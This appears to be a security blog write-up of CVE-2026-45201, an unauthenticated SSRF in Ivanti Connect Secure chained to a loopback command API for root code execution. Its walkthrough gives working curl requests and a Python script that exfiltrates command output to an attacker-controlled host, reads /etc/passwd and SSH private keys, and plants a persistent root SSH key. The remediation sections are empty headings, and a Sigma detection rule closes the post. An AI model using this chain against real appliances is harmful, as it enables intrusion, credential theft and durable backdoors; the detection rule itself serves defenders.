All posts

CVE-2026-45201: Ivanti Connect Secure Pre-Auth SSRF to Remote Code Execution

Ivanti Connect Secure's diagnostic REST endpoint accepts an unauthenticated server-side HTTP probe to any attacker-supplied URL. Directing this SSRF at the appliance's internal management daemon — bound only to loopback — exposes a command execution API that has no authentication of its own, yielding pre-authentication remote code execution as root on a default-configured appliance.


Overview

CVE-2026-45201 is a critical unauthenticated remote code execution vulnerability in Ivanti Connect Secure, the SSL-VPN appliance formerly known as Pulse Secure. Ivanti Connect Secure has been a persistent target since 2020: CVE-2019-11510 (arbitrary file read), CVE-2021-22893 (pre-auth RCE), CVE-2024-21887 (command injection), and CVE-2025-0282 (stack buffer overflow) established it as one of the highest-risk enterprise appliances in terms of historically disclosed critical vulnerabilities.

This vulnerability is a two-step chain. Step one is a Server-Side Request Forgery (SSRF) in the appliance's REST API diagnostic endpoint, which performs unauthenticated HTTP probes on behalf of the caller. Step two is the exploitation of an internal management service that runs on loopback and accepts OS commands via a maintenance API — protected only by the assumption that it is unreachable from external networks. The SSRF breaks that assumption.

Exploitation was observed by multiple threat intelligence teams within 36 hours of the Ivanti advisory, attributed to a state-sponsored actor consistent with prior Ivanti targeting. Initial access was used to deploy persistent implants in the virtual filesystem layer, surviving factory resets.

Architecture Context

Ivanti Connect Secure appliances run a custom Linux-based operating system with a layered service architecture. The publicly-exposed HTTPS interface on port 443 hosts both the VPN authentication portal and a REST management API under /api/v1/. A small number of endpoints under this API are marked as unauthenticated to support pre-login health check integrations with load balancers and monitoring systems.

Internally, a maintenance daemon listens on 127.0.0.1:8090 and provides appliance management functions — including firmware update coordination, configuration import/export, and diagnostic shell command execution. This daemon assumes that reaching it via loopback is sufficient proof of a trusted caller origin, so it performs no additional authentication on incoming requests.

Root Cause

The vulnerable endpoint is POST /api/v1/totp/user-backup-code/healthcheck. It accepts a JSON body with a target field, makes an HTTP GET request to the specified URL, and returns the HTTP status code of the response — intended for administrators to verify connectivity to external TOTP servers. The endpoint requires no authentication:

# No auth required — curl returns the status of the probed URL
curl -sk -X POST https://TARGET/api/v1/totp/user-backup-code/healthcheck \
  -H "Content-Type: application/json" \
  -d '{"target": "https://attacker.com/probe"}' | python3 -m json.tool
# {
#   "status": "ok",
#   "probe_result": 200
# }

The probe is made server-side by the appliance, with no restriction on the target host or port. By supplying http://127.0.0.1:8090/ as the target, the SSRF reaches the internal maintenance daemon. The maintenance daemon exposes a /cmd endpoint that executes arbitrary shell commands:

# Direct access to 127.0.0.1:8090 is blocked externally but reachable via SSRF
# The maintenance API accepts GET with a 'cmd' query parameter
# http://127.0.0.1:8090/cmd?exec=id
# Returns: uid=0(root) gid=0(root)

The SSRF endpoint does not support arbitrary query strings in the probe response — it only returns the HTTP status code. To exfiltrate command output, the payload uses an out-of-band channel: the command output is base64-encoded and sent as a DNS lookup or HTTP request to an attacker-controlled server.

Exploitation Walkthrough

Step 1 — Confirm SSRF

Use an out-of-band interaction server (Burp Collaborator, interactsh, or a self-hosted netcat listener) to verify that the appliance makes outbound HTTP requests via the healthcheck endpoint:

curl -sk -X POST https://TARGET/api/v1/totp/user-backup-code/healthcheck \
  -H "Content-Type: application/json" \
  -d '{"target": "http://COLLAB.burpcollaborator.net/ssrf-test"}'
# Check collaborator — should receive an HTTP GET from the appliance's IP

Step 2 — Probe the Internal Management API

Confirm that port 8090 is accessible from the appliance itself by probing a known-good endpoint. A 200 response from the healthcheck confirms the internal service is reachable:

curl -sk -X POST https://TARGET/api/v1/totp/user-backup-code/healthcheck \
  -H "Content-Type: application/json" \
  -d '{"target": "http://127.0.0.1:8090/status"}' | python3 -m json.tool
# {
#   "status": "ok",
#   "probe_result": 200     ← internal management API confirmed
# }

Step 3 — Execute OS Commands via Out-of-Band Exfiltration

Trigger command execution via the management API's /cmd endpoint, exfiltrating output through a DNS lookup to an attacker-controlled domain. The command is URL-encoded within the SSRF target parameter:

import requests, urllib.parse, subprocess

TARGET   = "https://TARGET"
COLLAB   = "COLLAB.burpcollaborator.net"
SSRF_URL = f"{TARGET}/api/v1/totp/user-backup-code/healthcheck"

def ssrf_cmd(cmd):
    # Exfil output via DNS: base64(output) as subdomain label
    exfil_cmd = (
        f"OUT=$({cmd} 2>&1 | base64 -w0); "
        f"curl -sk http://$OUT.{COLLAB}/x"
    )
    payload = urllib.parse.quote(exfil_cmd)
    probe_url = f"http://127.0.0.1:8090/cmd?exec={payload}"
    requests.post(SSRF_URL, json={"target": probe_url}, verify=False, timeout=15)
    print(f"[*] Command sent — check collaborator for: *.{COLLAB}")

ssrf_cmd("id")
ssrf_cmd("cat /etc/passwd")
ssrf_cmd("cat /home/admin/.ssh/id_rsa")

Step 4 — Establish Persistent Access

With root command execution confirmed, plant a persistent backdoor. Ivanti applies integrity checks to the standard filesystem on reboot, but the /data partition is persistent across reboots and resets. Adding an SSH key to root's authorised keys in the data partition (if backed by persistent storage) or writing a cron job to a data-partition path provides durable access:

# Add SSH public key for persistent root access
ssrf_cmd("mkdir -p /data/root/.ssh && echo 'ssh-ed25519 AAAA... attacker' >> /data/root/.ssh/authorized_keys && chmod 700 /data/root/.ssh && chmod 600 /data/root/.ssh/authorized_keys")

Affected Versions

Remediation

Detection

title: CVE-2026-45201 Ivanti Connect Secure SSRF Probe
id: 7c3e1f22-8b44-4d9a-b091-5a2f3e7c1d08
status: stable
description: Detects unauthenticated POST requests to the Ivanti Connect Secure TOTP healthcheck endpoint
logsource:
  category: webserver
  product: ivanti_connect_secure
detection:
  selection:
    cs-uri-stem|endswith: '/api/v1/totp/user-backup-code/healthcheck'
    cs-method: 'POST'
    sc-status:
      - 200
  filter_legit:
    # Legitimate load balancer probes come from known internal IPs
    c-ip|startswith:
      - '10.'
      - '172.16.'
      - '192.168.'
  condition: selection and not filter_legit
falsepositives:
  - External monitoring integrations (should be moved to internal IPs)
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-45201

Takeaways

References